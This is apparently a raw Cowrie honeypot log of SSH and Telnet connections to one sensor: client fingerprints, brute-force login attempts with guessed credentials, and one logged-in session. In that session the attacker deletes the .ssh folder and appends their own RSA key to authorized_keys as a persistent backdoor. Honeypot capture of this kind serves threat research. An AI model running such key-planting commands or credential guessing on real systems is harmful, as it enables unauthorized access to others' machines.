{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:39:52.522516Z","src_ip":"103.158.40.65","session":"033c894f701b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:39:52.738562Z","src_ip":"103.158.40.65","session":"033c894f701b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webadmin","password":"abc123","message":"login attempt [webadmin/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:39:53.627303Z","src_ip":"103.158.40.65","session":"033c894f701b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:39:54.845599Z","src_ip":"103.158.40.65","session":"033c894f701b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.160232543945312,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:39:59.262776Z","src_ip":"154.124.180.181","session":"672707e38a36","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:04.006338Z","src_ip":"154.81.14.172","session":"914357cce1fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:04.014264Z","src_ip":"154.81.14.172","session":"914357cce1fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":59114,"dst_ip":"159.203.135.109","dst_port":22,"session":"99865bef3a22","protocol":"ssh","message":"New connection: 43.173.69.147:59114 (159.203.135.109:22) [session: 99865bef3a22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:12.024478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:12.030566Z","src_ip":"43.173.69.147","session":"99865bef3a22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:12.099280Z","src_ip":"43.173.69.147","session":"99865bef3a22","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"root","message":"login attempt [steam/root] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:12.403225Z","src_ip":"43.173.69.147","session":"99865bef3a22","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:12.605535Z","src_ip":"43.173.69.147","session":"99865bef3a22","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:12.608944Z","src_ip":"43.173.69.147","session":"99865bef3a22","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:12.612849Z","src_ip":"43.173.69.147","session":"99865bef3a22","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:12.684661Z","src_ip":"43.173.69.147","session":"99865bef3a22","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:12.887611Z","src_ip":"43.173.69.147","session":"99865bef3a22","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:12.891399Z","src_ip":"43.173.69.147","session":"99865bef3a22","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:12.967203Z","src_ip":"43.173.69.147","session":"99865bef3a22","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:12.971721Z","src_ip":"43.173.69.147","session":"99865bef3a22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":59120,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5843515f2b8","protocol":"ssh","message":"New connection: 43.173.69.147:59120 (159.203.135.109:22) [session: b5843515f2b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:13.030809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:13.036679Z","src_ip":"43.173.69.147","session":"b5843515f2b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:13.106243Z","src_ip":"43.173.69.147","session":"b5843515f2b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:13.412766Z","src_ip":"43.173.69.147","session":"b5843515f2b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:14.485267Z","src_ip":"43.173.69.147","session":"b5843515f2b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":59132,"dst_ip":"159.203.135.109","dst_port":22,"session":"71ba5982c6cb","protocol":"ssh","message":"New connection: 43.173.69.147:59132 (159.203.135.109:22) [session: 71ba5982c6cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:14.549475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:14.555747Z","src_ip":"43.173.69.147","session":"71ba5982c6cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:14.646742Z","src_ip":"43.173.69.147","session":"71ba5982c6cb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:14.956643Z","src_ip":"43.173.69.147","session":"71ba5982c6cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:15.030476Z","src_ip":"43.173.69.147","session":"99865bef3a22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:15.036729Z","src_ip":"43.173.69.147","session":"71ba5982c6cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.125.103.201","src_port":39156,"dst_ip":"10.17.0.5","dst_port":22,"session":"c52e213f6fe0","protocol":"ssh","message":"New connection: 103.125.103.201:39156 (10.17.0.5:22) [session: c52e213f6fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:15.890219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:15.896725Z","src_ip":"103.125.103.201","session":"c52e213f6fe0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:16.137089Z","src_ip":"103.125.103.201","session":"c52e213f6fe0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"apache123","message":"login attempt [ubuntu/apache123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:17.127930Z","src_ip":"103.125.103.201","session":"c52e213f6fe0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:18.373183Z","src_ip":"103.125.103.201","session":"c52e213f6fe0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":55180,"dst_ip":"159.203.135.109","dst_port":22,"session":"33686557b966","protocol":"ssh","message":"New connection: 2.57.122.208:55180 (159.203.135.109:22) [session: 33686557b966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:33.249575Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:33.355845Z","src_ip":"2.57.122.208","session":"33686557b966","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.97.227.163","src_port":41088,"dst_ip":"10.17.0.5","dst_port":22,"session":"66295186d5e5","protocol":"ssh","message":"New connection: 181.97.227.163:41088 (10.17.0.5:22) [session: 66295186d5e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:40.191372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:40.196506Z","src_ip":"181.97.227.163","session":"66295186d5e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:40.415820Z","src_ip":"181.97.227.163","session":"66295186d5e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user05","password":"123456","message":"login attempt [user05/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:41.330728Z","src_ip":"181.97.227.163","session":"66295186d5e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:42.543434Z","src_ip":"181.97.227.163","session":"66295186d5e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.158.40.65","src_port":35012,"dst_ip":"159.203.135.109","dst_port":22,"session":"42d23d13454c","protocol":"ssh","message":"New connection: 103.158.40.65:35012 (159.203.135.109:22) [session: 42d23d13454c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:55.101685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:40:55.106165Z","src_ip":"103.158.40.65","session":"42d23d13454c","protocol":"ssh"}
